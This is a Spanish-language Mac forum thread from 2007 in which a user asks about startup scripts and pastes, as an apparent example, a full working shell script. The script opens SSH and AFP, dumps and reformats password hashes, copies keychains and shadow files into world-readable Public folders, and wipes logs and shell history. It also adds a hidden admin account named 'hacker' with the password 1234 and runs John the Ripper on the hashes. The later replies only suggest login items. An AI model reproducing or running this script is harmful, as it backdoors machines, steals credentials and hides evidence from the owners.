Respuesta
Herramientas  
Antiguo 08/03/07, 08:34:07   #1
Bookmark and Share
Avatar de patton
Applesano


¡Gracias! enviadas: 0
¡Gracias! recibidas 0
Ingreso: oct 2006
patton tiene una aureola espectacular alrededor Mensajes: 281
.: 8
Actividad: 1%
Antigüedad: 76%
script para inicio mac /Library/StartupItems

Alguien a creado algun script para "el arranque" como estos? que le funcione en hackintosh? y que les traigan algun beneficio? esas cron task las realizan igualmente programas como cocktail o onyx?


chflags nouchg /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly
chmod 777 /etc/hostconfig /etc/xinetd.d/ssh /etc/daily /etc/weekly /etc/monthly


echo "service ssh" > /private/etc/xinetd.d/ssh
echo "{" >> /private/etc/xinetd.d/ssh
echo "disable = no" >> /private/etc/xinetd.d/ssh
echo "socket_type = stream" >> /private/etc/xinetd.d/ssh
echo "wait = no" >> /private/etc/xinetd.d/ssh
echo "user = root" >> /private/etc/xinetd.d/ssh
echo "server = /usr/libexec/sshd-keygen-wrapper" >> /private/etc/xinetd.d/ssh
echo "server_args = -i" >> /private/etc/xinetd.d/ssh
echo "groups = yes" >> /private/etc/xinetd.d/ssh
echo "flags = REUSE IPv6" >> /private/etc/xinetd.d/ssh
echo "session_create = yes" >> /private/etc/xinetd.d/ssh
echo "}" >> /private/etc/xinetd.d/ssh


echo "AFPSERVER=-YES-" >> /etc/hostconfig
echo "SSHSERVER=-YES-" >> /etc/hostconfig


mkdir /.info /.info/Library /.info/Library/Preferences /.info/private /.info/private/var /.info/keychains /.info/nistuff


cp -R /Library/ApplePasswordServer /.info/Library/ApplePasswordServer # for OS X SERVER
cp -R /private/var/db /.info/private/var/db # all the netinfo stuff
cp -R /Library/Keychains/ /.info/Library/Keychains/
cp -R /Library/Preferences/DNSUpdate /.info/Library/Preferences/ # DynDNS locator beacon prefs
cp -R /private/var/db/shadow/hash /.info/private/var/db/shadow/hash # just making sure
cp /Library/WebServer/users /.info/Library/WebServer/users
cp /System/Library/CoreServices/SystemVersion.plist /.info/System/Library/CoreServices/SystemVersion.plist
cp /Library/Preferences/Netopia/Netopia\ Preferences /.info/Library/Preferences/Netopia/Netopia\ Preferences


rm /.info/private/var/db/locate.database


cd /.info


cd /.info/nistuff
for username in `nireport . /users name`
do
niutil -read . /users/$username > $username.txt
done


nidump passwd . >> passwdMD5
nidump passwd / >> passwdMD5
for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> passwdNT4
echo ${name}:${H:65:40}::: >> passwdSHA1
fi
done


cd /Users


find . -maxdepth 3 -mindepth 3 -name "Keychains" -type d -exec cp -R '{}' /.info/keychains \;


mkdir /.Info/Users
cd /Users
for item in `nireport / /users name`
do
if test -d ./$item ; then
mkdir /.info/Users/$item
cp -f $item/Library/StickiesDatabase /.info/Users/$item/StickiesDatabase
fi
done



chmod -Rf 777 /.info


cd /Users
chmod -Rf 777 /.info
find . -maxdepth 2 -name "Public" -type d -exec cp -R /.info '{}/.info' \;
find . -maxdepth 3 -name ".info" -type d -exec chmod -R 777 '{}' \;
rm -R /.info



cd /Users
rm -Rf /private/var/log/
rm -Rf /Library/Logs/
rm -f /Library/Preferences/Netopia/Timbuktu\ Pro\ Log
rm -f /var/log/osxvnc.*
find . -maxdepth 2 -name ".bash_history" -exec rm -f '{}' \;




niutil -create / /users/hacker
niutil -createprop / /users/hacker uid 401
niutil -createprop / /users/hacker realname "Hacker"
niutil -createprop / /users/hacker home "/private/var/home"
niutil -createprop / /users/hacker shell "/bin/bash"
niutil -createprop / /users/hacker gid 20
niutil -createprop / /users/hacker passwd "rQ3p5/hpOpvGE" #(it's 1234)
nicl . -append /groups/admin users hacker
chown -R hacker:staff /private/var/home
chmod -Rf 700 /private/var/home



cd /Library/StartupItems/opener
if test -f "AddToCronTasks.txt" ; then
cat AddToCronTasks.txt >> /etc/daily
rm AddToCronTasks.txt
fi




if [ -d /Library/Preferences/jtr/ ] ; then
chflags -R nouchg /Library/Preferences/jtr/
chmod -R 777 /Library/Preferences/jtr/


if test -f /Library/Preferences/jtr/run/restore ; then
cd /Library/Preferences/jtr/
./run/john -restore &
./run/john -restore:DESs &

else



nidump passwd . >> /Library/Preferences/jtr/passwd
nidump passwd / >> /Library/Preferences/jtr/passwd


for name in `nireport / /users name`
do
G=`niutil -readprop / /users/${name} generateduid`
if [ -n "$G" ] ; then
H=`cat /private/var/db/shadow/hash/${G}`
echo ${name}:${H:1:32}:${H:33:32}::: >> /Library/Preferences/jtr/passwd
fi
done


cd /Library/Preferences/jtr/
./run/john -format:LM passwd &


./run/john -session:DESs -format:DES passwd &

fi
fi


No puedo colocar fotos en la firma :(
  Responder Con Cita
Antiguo 08/03/07, 11:48:38   #2
Bookmark and Share
Avatar de juker12
Embobado


¡Gracias! enviadas: 35
¡Gracias! recibidas 147
Ingreso: mar 2006
Ubicación: mirando moscas
juker12 has a brilliant future Mensajes: 6.474
.: 132
Actividad: 83%
Antigüedad: 99%
Premios Applesana
Mac OS X Música 
Totales: 2
Patton yo en esto me he vuelto un comodo y vago.
Una vez toquetee el inicio y ya no me arranco con utilidades de terceros y las pase canutas para arrancar sin formatear

Asi que ahora lo hago a lo comodo y que me lo haga osx

O bien desde el dock con un click




O bien desde cuentas arrastrando el item




Por ejemplo para iniciar recursos de red me lo hago asi

Cómo iniciar recursos de red atutomaticamente en OS X
Imágenes Adjuntas
Tipo de Archivo: jpg dock.jpg (41,7 KB, 175 visitas)
Tipo de Archivo: jpg cuentas.jpg (31,4 KB, 185 visitas)
Si ves a un Leecher pisalo para que no se reproduzcan
  Responder Con Cita
Antiguo 09/03/07, 08:30:24   #3
Bookmark and Share
Avatar de patton
Applesano


¡Gracias! enviadas: 0
¡Gracias! recibidas 0
Ingreso: oct 2006
patton tiene una aureola espectacular alrededor Mensajes: 281
.: 8
Actividad: 1%
Antigüedad: 76%
OK, ambos los conocía, el segundo me los explicaste en un topic anterior, es decir es lo mismo, solo que más detallado. OK.
Eso como /etc/rc.conf de linux o /etc/rc[0-6].d de ubuntu....



No puedo colocar fotos en la firma :(
  Responder Con Cita
Respuesta

Guardar este post en Favoritos

Herramientas

Saltar a Foro:
Marcar Como Leídos
Foro Applesana
Applesana.es ©2008
La zona horaria es GMT +2. Ahora son las 22:25:22.